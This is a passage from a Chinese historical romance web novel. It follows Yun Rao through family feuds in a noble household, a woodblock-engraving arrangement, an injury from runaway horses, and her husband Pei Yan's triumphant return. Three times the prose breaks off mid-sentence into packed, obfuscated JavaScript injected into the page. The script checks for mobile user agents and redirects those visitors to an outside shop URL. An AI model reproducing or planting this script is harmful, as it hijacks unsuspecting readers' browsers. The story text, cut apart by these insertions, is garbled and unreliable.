那人瞧着十六七岁,虽说隔得远看不太清眉目,一眼望过去,却也能瞧出是个姿貌出挑的少年郎。他许是习武过,非但马术娴熟应变灵活,腾挪击球时也比旁人分外精准,也难怪裴雪琼赞不绝口。 云娆觉得有趣,趁着空暇迅速指了指那少年,“他打得可真不错,也不知是什么来头。” 裴雪琼听见这句话,欲言又止。 明氏忍着笑道:“那是永宁伯府的小公子,叫谢嘉言,据说自幼能文善武,比他的兄长们都出挑。” “难怪马球打得这样好。” 云娆说着,有意无意地瞥裴雪琼。 年纪相若的女孩子,对这种事最是敏感,裴雪琼觉出其中藏着的几分打趣,垂眸摆弄衣带,唇边笑意却愈发明显,几乎将唇角勾到耳根。 明氏哪能瞧不出小姑子的心事,与云娆相视一笑,心照不宣。 裴雪琼面皮薄,赶紧转移话题,“习武之人打起马球来,总能比旁人精彩些。嫂嫂不知道,那年二哥从北边回来,正好碰上宫里的马球赛,他和禁军那些小将们在场上打得才叫精彩呢!就连皇上都说,论马上功夫,满京城儿郎加起来都不及二哥厉害!” 她说得与有荣焉,却让云娆微微一愣。 嫁进裴家这么久了,她还是头次听到有人这样真心实意地夸赞裴砚。 15. 佳音 整日游玩,旁人都颇为尽兴,除了范氏。 从薛家别苑回来后,范氏便以疲惫为由回到住处,才进屋,那张脸就沉了下来,道:“笑得我脸都僵了!什么破烂宴席,真不该去的!” 说着话,接了周妈妈递来的瓷杯喝茶。 两口热茶咽下去,想起今日听的那些言语,胸口一股闷气涌上来,她再也喝不下去,将茶杯重重放在桌上,抬脚就往里走。 周妈妈赶紧跟上去道:“夫人别跟她们计较,当心身子。” “你听听她们今儿说的都是什么,净捡着老二和江家那丫头夸,分明是故意膈应我,给我难堪!”范氏气得脸都绿了。 周妈妈情知劝不住,赶紧给她抚背。 今日这宴赴得确实够憋屈的。 崔氏和薛氏婆媳原就不太看得上范氏的出身,这些年时常拿言语打压针对,处处都抢风头。明知道范氏和裴砚不对付,今日一会儿夸裴砚屡立战功,一会儿又故意夸云娆给了夫君福气,还不时带着范氏,非要她说几句话。 范氏捏着鼻子听了半天,众目睽睽下又不好撕破真相,只能跟着那对婆媳夸赞,着实被恶心得够呛。 就连饭菜都没吃几口。 范氏胸口起伏,想起那对婆媳的嘴脸,气得泪花都快出来了,“她们得意什么呢!从前在府里,我已经是处处忍让了,今日偏要这样拿话来作践我!他们若真是高风亮节,平常怎么不见帮衬老二两口子?还不是人前卖弄,图个虚名!老二也真是——” 薛氏但凡想起裴砚病恹恹的样子,就觉得闷气直冲脑门顶。 原本是坐收渔利,如今却让她成了那个小丑! 范氏原就被气得没吃东西,又强颜欢笑地陪太夫人逛了整日,这会儿身上微微发颤,也不知是饿的还是气的。 周妈妈赶紧让人去准备些茶饭。 谁知这股气始终消不下去,到夜里竟有点发烧的迹象,人也病歪歪地躺在床上,脸色很是不好。 孙氏着慌,赶紧把精于医术的秦氏喊来。 秦氏既通岐黄之术,也知道婆母跟裴砚之间素来不睦,摸过脉象后就猜到了缘故,自管开了药给她。 范氏喝着那碗苦涩的汤药,想着因裴砚母子而生的诸般委屈,心里实在气不过,便以侍疾为由让云娆在床榻边伺候。 这一夜范氏在病中睡得断断续续,云娆也难以安生。 直到次日孙氏过来,才得以回去歇息。 …… 因着范氏病倒,薛氏遣人来探望过后,宽慰叮嘱了几句,便只由长房陪着太夫人去周遭观景。 二房姑嫂则留下来照顾范氏。 好在云娆年轻,虽说在婆母病榻前熬了一整夜,回去后歇息两个时辰便缓过来了。 其时才过晌午时分,明氏被喊去陪太夫人,秦氏伺候在婆母身边,整个院里静悄悄的没个人影。 云娆良机难得,趁着四下无人去见了位外客—— 富春堂贺仙之的夫人。 先前青霭说过刻印画作的事后,云娆考虑了良久,因如今的身份不便擅自去见外头的掌柜,便让青霭传话,想请贺夫人来白云岭一聚。 谁知贺夫人倒心诚,真就赶过来了。 做生意的人家最是明白这世间拜高踩低的做派,情知小官之女嫁进侯府高门后如履薄冰,贺夫人行事便也十分低调。 昨晚赶到白云岭借宿寺中,今儿得了消息后便在裴家别苑外的一处亭中相候。 两下见面,也没多客气寒暄,怕转述的话不够细致,贺夫人先将自家的打算详细说明白,又道:“虽说能雕版画的人也有,但如今多在川蜀、江淮等地,京城里其实没那么多好手,内子能请动的更是有数。只怕少夫人嫌弃我们商贾人家,不肯屈尊呢。” 云娆莞尔,“夫人说哪里话,贺掌柜想做的这件事其实也是我的小心愿。” 贺夫人见她竟没推拒,竟自喜上眉梢,“不是我吹捧夸赞,实在是少夫人技艺精湛。当日内子瞧见寺里那幅画,还以为是四五十岁的老先生雕刻的,笔法用力都十分老到,实在是难得!” 云娆被夸得有点不好意思,只浅笑着道:“夫人过誉了,今日请夫人过来,其实是想详细探讨此事。” 说着,便将顾虑道明。 贺夫人听罢,反倒是笑了,“说句托大的话,富春堂传承了几十年,雕刻这行当怎么回事还是清楚的。擅刻的雕工虽说不少,但若要雕刻山水画,将那墨色深浅和用笔气韵雕出来却绝非易事,能潜下心磨砺手艺的并不多。” “少夫人虽自谦,内子却去川蜀江淮讨教过,不敢说少夫人技艺有多出挑,却绝不逊色那些老师傅多少。” “方才少夫人说怕拿不准分寸,内子先前去游历时曾带了些不错的雕版回京,少夫人若不弃,回头便送到府上瞧瞧。想来以少夫人的聪慧,是能揣摩熟透,雕出上品的。” “少夫人也别嫌弃我铜臭味儿,等这套书刻印出来,除了润笔之资,富春堂卖出多少本便如实给刻师们多少抽成。” 她说得诚恳,分明很想帮夫君促成此事。 云娆既有母亲给的丰厚陪嫁,倒也不贪图靠这个赚多少银钱。不过以刻印之法让画作传世本就是她想做的事,若能借机观摩,磨炼自身技艺,那就更好了。 便与贺夫人约定好,而后告别回到住处。 是夜,范氏仍留了云娆侍疾。 到第三天晚上也是如此。 这般折腾,谁还瞧不出端倪来? 裴锦瑶和孙氏各怀心思,都没戳穿范氏挟私报复的做派。秦氏原就有仁善之心,既清楚范氏的脉象和病因,又清楚婆母的秉性,瞧着云娆连夜都难以安生歇息,到底有些看不下去。 这日晚间用了饭,范氏虽说没了病色,却还是说头晕,要留云娆在夜里照 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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太夫人喝着乳粥,笑抬头道:“别卖关子了,快说吧!” 崔氏便笑道:“听说老二这回立了大功,将北夏那位叫屠什么的主将给活捉了。据说那是北夏一等一的名将,也是咱们大梁的劲敌,老二立了这样大的功劳,回头皇上定是要嘉奖的。” 老人家听见这话,也自露出笑容。 哪怕府里头父子兄弟疏远,在皇帝跟前,裴家却是一体的。 先前裴砚立功受赏,承平帝也没少念着裴家的好,对靖远侯爷有所嘉奖,如今能让侯府再添功勋自然不错。 只可惜那孩子脾气又臭又硬,为着点陈年旧事不肯跟长辈和解,才闹成如今这样生疏尴尬的局面。 要是他能改改性子就好了。 太夫人心里暗叹着,口中稍微夸赞了两句。 崔氏尤嫌不足,又向云娆道:“这回算是大捷,保不准过些天他就能班师回来了,你回去也该把院子收拾齐整,好生迎接。” 说着话,目光直往范氏脸上瞟。 范氏想着裴砚回来后春风得意的样子,愈发觉得心口堵得难受了。 云娆则在应了话茬后心头微跳。 这回裴砚归来,是要住进枕峦春馆了吗? 16. 维护 因如今内有流民作乱、外有边境激战,别说朝臣军将,就是京城里惯爱享乐的富贵闲人们都格外留意战事的动静。 裴砚活捉敌军主将的消息也很快在高门贵户间传开。 范氏走到哪里,几乎都能听见裴砚的事。 薛氏婆媳有时候只安静看热闹,有时候还在旁边火上浇油,对这样的把戏乐此不疲。 这样闹了几回,范氏就不爱跟长房婆媳一道出游了,恰好这日太夫人歇息,她便以进香为由,只带惯会讨好她的孙氏和裴锦瑶出门。 云娆和秦氏既落了单,恰好明氏今儿得空,便相约一起去六里外的汲古楼。 这座书楼藏在白云岭深处,在京城里的名气却不小。 迥异于别家藏书重经史的做派,汲古楼里所藏的多是医书谱录、释道杂家、诗词歌赋之类。虽说对科举并无太多助益,内容却有趣得很,且藏书均是精挑细选,也藏了些历来版刻的精品。 书楼的主人曾是朝中重臣,如今归隐山林之间,每日以杂书为伴,倒是逍遥得很。 明氏家学渊源,因着祖父的庇护,算是这座书楼的常客。 马车熟门熟路向驶进一处篱笆围着的院落,门口的书童认得裴家的车辆,帮着开门后见是明氏掀起软帘打招呼,忙含笑行礼。 而后将车马牵到大槐树下。 妯娌三人下了车,云娆迅速打量周遭,唇边不由浮起笑意。 比起高门贵户那些豪奢的别苑,这地方的院落屋舍修得堪称朴素,舍了描金漆彩的雕梁画栋,形制简约而古朴。越过屋檐和背后的树影,依稀可见三座两层的楼阁矗立山间,中间以飞廊相连,应该就是藏书之处。 这地方位于山腰,背靠峰峦面朝河谷,视野颇为开阔,柔暖春风里触目皆是佳景。 槐树下还停了几辆别家车马,看来今日访客还不少。 主人今日不在,书童也没多寒暄,客气地将三人书楼门前后躬身退下。 明氏叮嘱了规矩,引两人进去。 成排的书架整齐而洁净,上头以五色签标注书名类目。妯娌三个兴趣有所不同,明氏先将秦氏送到一排医书前,又带云娆去寻版刻,因着周遭极静,说话的声音都不自觉放轻了些—— “书楼里访客不断,男女都有,互不相扰便可。你若碰见喜欢的,若征得主家应允,也可借回去细看,回头再送回来就是。” 她细心叮嘱着,又笑道:“只一样,务必爱惜字纸,不可损坏。” “这是自然。”云娆闻言莞尔。 自幼受父兄熏陶,她知道这些书籍的珍贵,等到了地方后谢过明氏,先粗略看过架上所藏书籍,然后小心取来翻阅。 山中日月悠长,书斋尤为寂静。 云娆坐在靠窗的木凳上,心思驰骋于书页墨香之间,全神贯注。 直到一道颇为熟悉的声音响起。 “你很喜欢这本书?” 满室安静里这声音格外清晰,云娆诧然抬头,看到一道颀秀的人影逆着光站在书架之间,衣饰虽瞧着寻常,却颇有贵重清雅的气度。 而他的眉眼…… “燕公子?”云娆自与裴砚定亲后便没再见过燕熙,此刻骤然重逢,难免有点诧异,“你怎么也在这里?” “家父与钟老先生有些渊源,所以能常来做客。看你一直在翻这本书,是很喜欢吗?”燕熙唇角噙着笑,目光落在她脸上。 云娆不由垂首笑了笑。 不过很快反应过来,燕熙这样说,岂不是意味着他已静静看了她好半天? 这念头才浮起,燕熙像是能猜到她心思似的,轻咳了声,道:“今日恰好路过,没想到你会在这里。西林书堂新出了一套书,雕刻装帧极精,里头还有两幅版画,你抢到了吗?” 见云娆长睫微垂,他大约猜到答案,便道:“回头找你兄长拿。” 云娆张了张口,欲言又止。 西林书堂的刻印向来少而精,虽价钱昂贵,每回有新书却都是两三日内抢购一空。从前她在闺中的时候总能赶上热乎的,如今身在侯府不便时常外出,竟不知又错过了佳品。 难得燕熙记得她的爱好帮着抢了一套,她是真想收在书房细细观摩。 可如今她既已是裴家少夫人,又实在该避嫌。 心头转瞬犹豫,那边燕熙却笑了笑,“书楼里有些凉,别耽搁太久伤及身体。高门里生活不易,有不顺心的也无需隐忍,若日后不愿被困,外面自有你的广阔天地。” 他说得若有所指,神情亦极坚定。 云娆焉能不明白他的意思? 一时间不知如何回答,只愣愣望着他。 燕熙却怕待久了惹人起疑累及云娆,将最要紧的承诺说罢,便道了声“保重”告别离去。 年未弱冠的男子,承袭了父亲的清隽姿貌,又在蜀地养出了干净白皙的皮相,论姿容倒像是养尊处优的高门贵公子。但其实他自幼习武,凭着舅舅与节度使的交情,于沙场之事并不陌生,加之才学卓然,在蜀地时就颇有名气。 今日来这里,其实是悬心云娆在裴家的处境,听闻阖府女眷前往白云岭,猜测她会慕名来访汲古楼,守株待兔罢了。 六日蹲守,终得片刻会面。 只是两人身份有别,不论为她的名声还是在夫家的处境,他都不便多留。 燕熙走出书楼,眺望远处山峦。 有些事江伯宣无能为力,他当时也难展身手。 但来日方长,这婚事拧转了云娆的前路,于他也是锤炼鞭策。 若云娆愿意留在裴家,他甘愿成全。 若她想另寻出路,他必定倾尽全力护在身后,不敢说多尊荣富贵,却总要予她安稳无忧的余生。 …… 与燕熙偶遇的事,云娆没跟任何人提起。 在别苑住的小半月也渐近尾声。 裴家女眷没少赴宴席,离去前难免设宴回请,由薛氏依着太夫人和崔氏的意思主持大事,云娆等妯娌们帮忙操持。 薛氏这人虽说性情骄矜高傲了点,做事倒也颇为稳妥,大小事情安排得井井有条,应酬往来时也不失侯府当家少夫人的风范。 太夫人乐得合不拢嘴,在宾客面前也满口夸赞。 原本宾主尽欢,谁知傍晚时却出了点岔子。 后晌宴席结束后女眷们陆续告辞,最后就只剩下国子助教韩绍的夫人带着女儿陪太夫人说话。 韩家在白云岭没有别苑,不过韩夫人是长房崔氏的娘家亲戚,因女儿正当妙龄且资质不错,有意借着侯府的门第给女儿寻个好亲事。这回裴家设宴回请,崔氏便做个顺水人情,让她母女俩也过来凑个热闹。 韩夫人领了盛情,特地等宾客都散去后太夫人得空,才领了女儿专门过来拜见道谢。 崔氏陪着说了会儿话,等韩家母女辞别时,她因整日劳累后懒得动弹,便让儿媳明氏帮着送一送。 夕阳斜倾,铺在水面浮光跃金。 明氏才陪客人走出别苑门口,忽听不远处一阵骚动,也不知是哪里跑来的三匹疯马,受惊后横冲直撞,沿着山路直奔这里冲过来。且来势极猛,马蹄踩得泥土四溅。 彼时云娆刚与秦氏送完两位女眷,在别苑门口碰见韩家母女后正客气道别,听见动静后惊而回首。 那几匹马转瞬已到了跟前。 仆妇们惊得纷纷躲避,绿溪下意识将云娆护在身后,云娆退让躲避之余,瞧见正背身与人说话的韩家母女,下意识便拽了韩夫人一把。 场面一时混乱,有两个仆妇惊慌摔倒,被马蹄踩踏过后痛呼失声。 云娆被绿溪护着往后退,不提防那位韩姑娘被她母亲提醒后吓得慌不择路,直往云娆撞过来。 旁边明氏还没站稳,见状忙喊道:“小心石头!” 可惜为时已晚。 惊慌中脚步忙乱,云娆被韩家姑娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14608364|155411||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撞在身上站立不稳,两人的重量合在一处撞向路边的石头,云娆脚腕处顿时有疼痛传来。若非有仆妇挡在身后,绿溪又及时拽住,怕是脑袋都得遭点殃。 疯马转瞬间跑远,只留下一地狼藉。 旁边的秦氏被乱窜的马撞倒在地后惊魂未定,明氏也吓得面色惨白,顾不上跌坐在地的韩夫人,朝云娆道:“伤着了么?” 云娆“嘶”的着凉气,却还是道:“还好!” 韩家姑娘自知这回行事莽撞了,一叠声的道歉不止,就连韩夫人都有些着慌,道谢之余忙问云娆磕到了哪里。 里头有人听见动静,忙喊人去抬春凳。 回头清点伤情,有四个仆妇被马踩踏,秦氏摔倒后手上蹭破了皮,已然渗出血迹,明氏撞在旁边树干上暂时没见外伤,云娆则伤了脚踝,剧痛之下莫说走路,连站都不敢站了。 秦氏医者仁心,顾不上处理自己手上的伤口,先来看云娆的伤势。 云娆瞧着她手上的血迹,哪里忍心,赶紧忍痛道:“先处理手上的伤,我还能忍一忍。” 少顷,仆妇们匆匆抬着春凳赶来,将云娆抬到就近的水榭。 秦氏就着丫鬟飞奔拿来的药包草草包扎了伤口,见明氏只是撞出淤青并无大碍,便遣散旁人,待云娆解去罗袜后查看伤势。 她的手法很轻,动作却极精准,轻触了几处问过云娆的痛感后,似是暗自松了口气。 崔氏等人也在此时赶来。 才到水榭门口,范氏瞧着乱糟糟的情形,口中就抱怨道:“好好的这是怎么了!不是说早就分派好了事情,里里外外都让人小心照看着的吗,怎么闹成这样!” 她假作关切,直奔云娆跟前。 薛氏才被太夫人盛赞做事周全妥帖,听着她的抱怨,脸色就有些不好看——今日是她总揽诸事,如今既惊了客人又让自家女眷受伤,范氏这些话自然是暗指她照顾不周了。 回头事情若传出去,叫人说她办的宴席上伤了宾客,也难免有损颜面。 只是平白无故地怎就那么巧来了几匹疯马? 薛氏来不及想,先看各人伤势。 好在韩家母女并无大碍,秦氏和明氏也还好说,唯有云娆伤得严重,就这么一会子功夫,脚腕都快肿起来了。 薛氏纵瞧不上这位冲喜妯娌的身份,听见韩家姑娘含泪道歉,韩夫人又一叠声的在崔氏面前感谢云娆,少不得也关怀道:“伤势如何?” “伤得很重,怕是骨头都裂了。”秦氏叹了口气,又看向范氏,“伤筋动骨一百天,二嫂怕是得静养一两个月,免得落下病根。” 范氏罕见地面露心疼,“可怜见的,既是如此,回去后便静养着吧,就不必晨昏定省的了。”说完,又抬头看向薛氏,“今日真是凶险,往后咱们可得长个教训,处处都得留心!” 薛氏情知她这番心疼是惺惺作态,忙活数日又换来这么一句叮嘱,心里怎会舒服? 明面上应着,回过头便吩咐仆妇去查一查,看能不能找到那几批疯马的来处。 …… 这场春游始于欢喜,却以混乱告终。 回到侯府后,云娆便在枕峦春馆安静养伤。 因秦氏及时处置伤口敷了药膏,她的脚腕恢复得其实挺快,两三日后红肿消退,也没什么痛感了。 青霭见状,趁着没外人时念佛道:“五少夫人真是菩萨心肠,非但治好了伤,还用伤筋动骨的由头换来一两个月的清净,真真是行善积德。” 云娆听了也自失笑。 她那日疼得厉害,确实被骨头裂开的说辞吓得够呛,这两日才算领会秦氏的苦心。 遂闭门养伤,免得匆忙下地留下后患。 秦氏也时常过来看望,两人对伤势都心照不宣,闲聊一阵后再开个药方,倒是煞有介事。 这般闭门将养着,转眼已是四月下旬。 裴砚也终于驱尽外敌,载誉归来。 17. 归来 初夏四月,朱雀长街旁绿柳成荫。 裴砚随宁王入城时,夹道皆是看热闹的百姓。 这几个月承平帝睡得不踏实,百姓们也没少跟着操心—— 听说岭南有流民作乱,烧了当地官府;青州流寇之乱愈演愈烈,当地节度使难以镇压,朝廷派了禁军过去也没能挽回局势,反倒被流寇占了附近好几处州县。连同素来富庶安稳的江淮之地,据说都有暗潮涌动。 乱象虽还没蔓延到京城,却也影响了做生意的人,继而波及百姓们的吃穿用度。 满城踏青游春之余,流民作乱的消息宛如黑云压在头顶,让不少人暗生忧虑,更勿论外头还有北夏铁蹄寇边来势汹汹。 内外交困中,宁王与裴砚这场大捷实在振奋人心。 先前裴砚活捉屠长恭时承平帝就已龙颜大悦,之后大梁乘胜追击令北夏精锐折损大半,非但收回了被侵袭的疆土,更是伤及北夏元气,眼瞧着能换来往后数年的边境太平,承平帝焉能不喜? 今日特地让太子率百官在丹凤门外迎接,以表嘉奖。 一行人在百姓的欢呼里走向皇宫,太子含笑相迎,挽着宁王的手兄友弟恭地去承平帝跟前复命。 而后便是成堆的赏赐。 身为皇子的宁王魏铎自不必说,裴砚则凭骄人的战功擢升为从四品将军——因武将能升的官职有限,这在他的年纪已是极难得的了。 余下众人皆论功行赏,或封官职或予厚赐,并将择日在上林苑为几位主将赐宴。 封赏的旨意传到靖远侯府,流水般的赏赐搬往家门口,得知消息的老侯爷裴固亲自去迎天家使者,两房男丁也不例外。 云娆先前安居静养,这种场合却不宜偷懒。 好在脚腕处的伤早已痊愈,她穿上曳地的长裙遮住鞋面,走路时再缓些轻些,便是范氏瞧见也没疑心什么。 府外骄阳当空,树荫正浓。 裴砚身上仍是面圣时的玄甲银盔,在府门口依礼拜见了祖父和父亲,招呼赐赏之人到厅中喝茶。 仆从们忙成一团,他进门后绕过影壁,目光巡视时一眼就看到了站在人群里的云娆。 ——满目绮罗金玉中她的清丽打扮很是显眼,浅色半臂下穿了玉色罗裙,云鬓边珠钗微摇,噙着笑安静站在那里时别有柔婉气度。 他朝她勾了勾手。 云娆正为他全须全尾的安然归来而欣喜,瞧见这姿势,迟疑着左右瞧了瞧,不甚确信地指了指自己,见裴砚点头,才带着绿溪迎过去。 其时正当午后,牡丹吐蕊,槐荫摇动。 裴砚岿然站在照壁旁,见她眉眼含笑的徐徐走来,虽说小姑娘是前不久才娶进门的,却无端生出种在这府里终于有自己人了的感觉。 等云娆走近,他随便指了指门口,“那都是给我的赏赐,前面几个留着,别的搬回院里,你瞧着安置吧。”说着,又招手让长随赵铁过来,“带几个人,跟少夫人把东西抬回院里。” 赵铁虽是他的长随,这些年一道驰骋沙场也混了个不太低的身份,此刻听了吩咐,便朝云娆抱拳道:“有劳少夫人。” 云娆在闺中时只跟文人打过交道,还没被虎虎生威的武将行礼过,难免觉得新奇,忙含笑请他免礼。 赵铁遂指挥人搬上东西,请云娆在前引路。 裴砚则跟着老侯爷进了厅里。 …… 许是活捉屠长恭、力克敌国精锐的功劳太过卓著,也或许是内忧外患中承平帝难得听见这样大捷的佳音,这回对裴砚的赏赐格外丰厚。 云娆到枕峦春馆后费了好半天才将东西在库中好生归置齐整。 待赵铁等人告退,金墨看得眼睛都直了。 “难怪先前聘礼上那么多好东西,这皇家赏赐起来可真是大方!” 屋里没别人,常妈妈瞧着她那没见过世面的模样,也自笑道:“朝廷打仗的时候银子花得跟流水似的,咱们将军立下大功除去后患,又是如今这样的时节,真不知帮朝廷省了多少。这点东西算什么。” “这话也就私下里议论,可不许在外头乱说。”云娆刚嫁过来,可不想给裴砚拖后腿。 常妈妈笑道:“晓得,在外头自然要小心,不然被有心人听见又得生出是非。” 这话意有所指,几人都笑了起来。 青霭将最后一扇柜门锁上,钥匙交回云娆手里时也忍不住感叹,“要不怎么说天家富贵呢,这些东西随便哪件拿出去,都够换个寻常书坊。” 主仆几个开了眼,安顿妥当后折身回屋。 这个后晌裴砚一直没再露面,不知是在老侯爷那里还是外头有事要办。 直到晚间夜宴,云娆才又见到了他。 靖远侯府祖上其实是战功起家。 裴家曾是开国功臣,最初以从龙之功得封国公之位,因帮着初登帝位的太.祖爷安顿朝堂、平定边疆,加之老国公爷为人谦逊进退有度,初次袭爵仍是以国公之位,给了老国公爷看重的孙儿。 后来四海太平,先前的熙宁帝英年登基时励精图治,因有几个功勋人家居功自傲,险些挟兵权卷入夺嫡之争,难免格外防范。 老国公爷瞧出帝王的忌惮,眼瞅着有别家染指兵权被清算,便断了让儿孙习武建功的念想,裴固兄弟几个都是以科举出身。 到裴固袭爵时便降一等袭了侯爵。 再往后,除了跟家里闹翻的三房裴元绍和自幼被丢在府外的裴砚之外,裴元晦、裴元曙和膝下儿子都是走读书的路子。 只是父子几个天分有限,没闯出太大的名堂。 如今裴砚立下让满京城瞩目的功劳,连承平帝都吩咐让皇后设宴犒赏,裴固哪怕是瞧着皇帝的脸色也该识趣地厚待这位功臣。 设宴接风自然在所难免。 如意堂后头是侯府赏花散心用的小园林,里头有处临水而建的真趣阁楼便是家宴所用。 家宴没有待客那么多规矩,老侯爷吩咐下去,薛氏命厨房做得丰盛些,再备上果酒等物也就够了。到日暮时分饭菜上桌,从香喷喷的炙羊肉到清淡爽口的炒时蔬,从软糯的黄金糕到甘冽的荷叶汤,整齐排开时,倒真是让人食指大动。 家里人口多,便分男女桌坐下。 因裴砚跟府里关系微妙,宴席其实也乏善可陈,还没有在军营里跟兄弟们喝酒来得痛快。 女眷们虽风平浪静,其实没少暗里看戏。 待宴散后安顿了太夫人各自回院,崔氏最先憋不住,跟薛氏调侃,“今儿这场面可真是热闹,我瞧她那脸色真是要绿透了。当初她处处挤兑,把那屋里的潘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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门口的屏风紫檀为架,薄纱上绣的喜鹊登梅颇为有趣,进去后先是靠墙的长案,在乳白的瓷瓶里供着两瓶新鲜的花枝,旁边的博古架上错落有致。里头纱帐长垂,珠帘隔出寝居所用的卧房,满架灯烛照得屋中柔暖明亮,旁边的博山炉里则有淡淡的甜香。 像是不慎闯进了女儿家的闺房。 裴砚觑向云娆,见她手指绞着腰间宫绦,有点局促无措地站在那里,不由压住唇边笑意。 这样香暖的闺房于他而言是陌生的,但对眼前这小了七八岁姑娘来说,此刻夫妻相处的情景恐怕也是令她手足无措的。 她自以为装得镇定,其实一眼就能看破。 裴砚轻咳了声,“时辰不早了,我先进去洗。”说着,自管脱了外衫往盥洗房去,看那架势倒是无需人去伺候的。 云娆只等他关上门,才轻轻松了口气。 青霭和绿溪陪她安安静静走了一路,此刻也是神情稍松。青霭又揪了揪云娆衣袖,低声提醒道:“先前绿溪的那件事要不要先跟将军说?免得被旁人先提起,又给咱们歪曲栽赃。” “我知道。”云娆捏捏绿溪的手,低声道:“他刚回来,想必很累了。今晚先歇着,明早我会跟他提起。” 18. 同住 裴砚做事倒是挺麻利的,很快就洗漱干净,穿着寝衣出来了。 迥异于身着铠甲时的威仪和在家宴上的疏冷姿态,回到住处的他倒有几分疲惫散尽后的散漫。那身寝衣也挺合身,将宽肩窄腰勾勒得分明,洗净的头发还没太擦干,水珠顺着下颌流入脖颈。 云娆只看了一眼,就赶紧收回视线。 裴砚知道自己身板儿不错,见状唇角微动,故意热乎乎的走到她跟前,“水有点烫了,下回多掺点凉水。” “好。”云娆目不斜视,温声答应。 裴砚又往前两步看向床榻。 锦帐半卷,里头的合欢被褥都已经铺好了,两个枕头并排放在那里,烛光下引人遐思。 他稍稍躬身摸了摸绣被,颔首道:“质地倒不错。” 云娆一时间不知该说什么了。 其实裴砚回来之前她就想过夫妻相处的事情。 按她先前琢磨的,裴砚幼时在侯府受了委屈,如今凭本事挣出一片天地,显然不会是任人拿捏的性子。先前顺着范氏的安排成亲冲喜,想必是为了迷惑北夏,如今战事告终外患消弭,他又怎会顺了范氏的心思,真将婚事搭进去? 八成会另有打算。 不过这毕竟只是云娆的揣测,她与裴砚见面不过三次,并不清楚这男人的性情,为免暴露小心思,还是铺了两人的床榻,还把出阁前母亲叮嘱的话回想了一遍。 此刻见裴砚夸赞床褥,她心头突突直跳,有点怀疑裴砚是真要睡在这里。 心念电转之间,神情难免有所变化。 裴砚悉数看在眼里,觑着她进退两难的模样时,愈发觉得这小姑娘有点意思。 不过五大三粗的男人,总逗人家小姑娘也不是个事儿,裴砚见好就收,顺着这话茬道:“看来我那嫡母还算体面,没在起居上苛待你。”说着,又侧头望向外间,“外面有床吗?” “有的有的!”云娆赶紧回答。 这心思太过明显,裴砚险些被她逗笑,又怕小姑娘脸皮薄,只好忍着笑道:“我不惯与人同床睡,既然外间空着,我去外面睡。” 云娆也知方才有点外露了,忙描补道:“将军不在的时候,我都是让青霭她们在外间值夜。如今将军既回来了,她们不必留在屋里,我便换了副床褥以备不时之需。将军征战劳苦,不如我去外面睡,好让将军在里头安歇。” 裴砚挑眉,“你睡外面?” “是呀,那张床比这个窄仄些,只怕会委屈将军。”云娆这话倒是认真的。 裴砚军旅之人不挑这些,瞧着她那小模样,却无端想起临行那夜他夜闯住处,她在榻上安静看书的模样。 “就你这警觉,睡外面被人搬走了都不知道。还是我去吧,还能顺道守夜。”他硬生生寻了个借口,随手将打湿的栉巾丢在旁边,自管抬脚去外面睡觉。 云娆拗不过他,只好将那栉巾拿回去,而后命人换了一桶水慢慢沐浴洗漱。 等她从盥洗房出来,外间已然熄了灯盏。 便也熄烛睡下。 …… 翌日清晨,云娆早早就醒了。 倒不是她勤快少眠,只是心里惦记着事情,不好在裴砚回来的头一日就睡过头,醒得便早了些。 她披衣起身,趿着鞋走出内室到对面次间探头瞧了瞧,见被褥堆在那里,裴砚却不见了踪影,猜得他是晨起练武,便先去更衣。 外面金墨听见动静,忙进来伺候。 盥洗后坐在镜前,手巧的绿溪帮忙梳发髻,云娆瞧着镜中人,琢磨待会该如何跟裴砚提起那件事。 事情发生在四月初。 彼时云娆才从别苑回来没多久,虽说脚伤已经痊愈,却还是打着静养的旗号甚少出门。 因在别苑时谈得愉快,富春堂的贺夫人差人将贺掌柜的雕版带过来,她正好闭门观摩钻研,琢磨贺掌柜给她的那幅画该如何雕刻。 那日后晌,云娆原本坐在榻上,跟青霭商量怎么雕好那幅版画,却忽然被院里的一阵吵嚷打断。 让人叫进来一问,才知道是在查东西。 原来四日之前太夫人在府里闲逛,衣裳上嵌的一颗猫儿眼松了,不知是落在了哪里。 那东西原就是贵重之物,又是太夫人亡故的姐姐所赠,太夫人回屋察觉后甚是懊恼,便让人四处找找,想尽量给它寻回来。 仆妇们遍寻不获,难免揣度是有人贪图珍宝,捡到后藏了起来。 于是如意堂的贴身仆妇丫鬟细细回想,估摸出东西遗落的时辰和位置后,列出了当日经过那里的上下人等。 薛氏原本觉得这种事不宜张扬,当暗里细细查问。谁知范氏见太夫人心痛于亡姐遗物,三说两劝之下,竟说得太夫人动了怒,以有辱门风为由,下令管事的徐嬷嬷带人,打着检看各处规矩的旗号挨个去搜那几个有嫌疑的仆婢。 云娆听到这种事,哪有不气的? 但争辩并无半点用处,徐嬷嬷拿着太夫人的意思,便是云娆不准,底下人也浑水摸鱼地闯进了绿溪的住处。 谁知片刻后,竟真叫她们搜了出来! 那仆妇捧着猫儿眼出来时,非但云娆和绿溪等人,连徐嬷嬷都愣住了。 但事已至此,徐嬷嬷好容易找到了失物,当即让人将绿溪带到如意堂的太夫人跟前复命。 云娆怕绿溪吃亏受委屈,顾不得脚伤,也自跟了过去。 到了如意堂,哪会有好事? 